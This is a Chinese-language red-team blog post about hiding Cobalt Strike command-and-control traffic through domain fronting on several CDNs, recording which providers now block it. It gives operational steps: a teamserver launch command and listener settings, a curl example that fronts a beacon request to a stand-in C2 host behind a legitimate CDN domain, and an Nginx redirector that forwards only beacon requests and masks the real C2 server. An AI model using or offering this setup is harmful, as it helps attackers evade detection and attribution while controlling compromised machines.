在前文中我们已经通过CDN接入的方式实现了C2服务器IP的初步隐藏,但流量分析层面仍存在被溯源的风险。本文尝试使用域名前置(Domain Fronting)技术进一步隐藏C2通信流量,然而实践中发现国内主流云厂商已收紧CDN域名验证策略,记录踩坑过程以供后续参考。
域名前置(Domain Fronting)是一种基于HTTPS通信的域前置技术,核心原理是在TLS握手(SNI字段)和HTTP请求(Host头)中使用不同的域名:
TLS ClientHello → SNI: legitimate.com (对CDN/中间人可见)
HTTP Request → Host: malicious.com (对CDN/中间人加密在TLS内)
┌──────────┐ ┌───────────┐ ┌────────────────┐
│ Target │─────▶│ CDN │─────▶│ C2 Server │
│ (Beacon)│ │ (Edge IP) │ │ (Origin IP) │
└──────────┘ └───────────┘ └────────────────┘
SNI: cdn.com 解析SNI: 收到Host:
Host: evil.com legitimate.com evil.com
简单来说:SNI里放一个合法域名骗过流量检测,Host头里放真正的C2域名让CDN正确转发流量。
阿里云CDN添加加速域名时,需要对域名进行归属权验证:
实际操作中,域名验证页面一直处于转圈状态,无法完成验证流程:
阿里云CDN域名验证一直转圈,疑似对未备案/非主域名的验证接口存在问题。
腾讯云CDN同样要求域名验证,并且:
排查发现腾讯云CDN对回源请求的Host头进行了额外校验,Domain Fronting的双域名策略在该场景下被拦截。
Cloudflare的做法相对宽松,不需要域名验证:
DNS A Record:
cdn.example.com → 1.2.3.4 (VPS真实IP, Proxied: ON)
Cobalt Strike Listener配置:
# teamserver启动
./teamserver <vps_ip> <password> <c2profile>
# Listeners配置
Beacon HTTP:
Host(s): cdn.example.com
Port(s): 80, 8080, 8880, 2052, 2082, 2086, 2095
Beacon HTTPS:
Host(s): cdn.example.com
Port(s): 443, 2053, 2083, 2087, 2096, 8443
Cloudflare支持的HTTP端口:
80, 8080, 8880, 2052, 2082, 2086, 2095Cloudflare支持的HTTPS端口:
443, 2053, 2083, 2087, 2096, 8443
但Cloudflare存在一个关键限制:SNI与Host不一致时,Cloudflare边缘节点会拒绝转发请求。这意味着在Cloudflare上做传统Domain Fronting是行不通的,实际上只是实现了CDN接入隐藏真实IP。
Amazon CloudFront是早期Domain Fronting实践的主要目标:
# 创建CloudFront Distribution
# Origin Domain: <your-c2-domain>
# Alternate Domain Names (CNAME): <legitimate-high-reputation-domain>
# 域名前置示例
curl -H "Host: your-c2.com" https://legitimate-high-reputation-cdn.com/beacon
但自2018年起,AWS已明确禁止CloudFront上的Domain Fronting:
“CloudFront现在拒绝SNI与Host头不匹配的请求。” —— AWS Blog, 2018
| CDN提供商 | 域名验证 | Domain Fronting | 备注 |
|---|---|---|---|
| 阿里云CDN | ✅ 必须 | ❌ 不可行 | 验证流程存在问题 |
| 腾讯云CDN | ✅ 必须 | ❌ 不可行 | Host头校验严格 |
| Cloudflare | ❌ 不需要 | ❌ 不可行 | SNI/Host一致性校验 |
| AWS CloudFront | ✅ 必须 | ❌ 已禁用 | 2018年后明确禁止 |
当前各家CDN服务提供商均收紧了域名验证策略:
结论: 2022年之后,传统意义上的Domain Fronting在国内主流CDN上基本不可行。CDN接入仍可实现真实IP隐藏,但Domain Fronting的流量伪装能力已大幅削弱。
面对Domain Fronting被封堵的现状,可考虑以下替代思路:
# Nginx重定向器示例
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/nginx/ssl/cdn.example.com.crt;
ssl_certificate_key /etc/nginx/ssl/cdn.example.com.key;
location / {
proxy_pass https://c2-server-real-ip:443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
# 仅转发合法Beacon请求
location ~ ^/submit.php$ {
proxy_pass https://c2-server-real-ip:443;
}
# 其余请求返回正常页面
location / {
return 200 "Hello World";
}
}
本文作为Domain Fronting技术的踩坑记录,核心结论是:
参考前文:Cobalt Strike服务器隐藏真实IP | CS上线木马免杀入门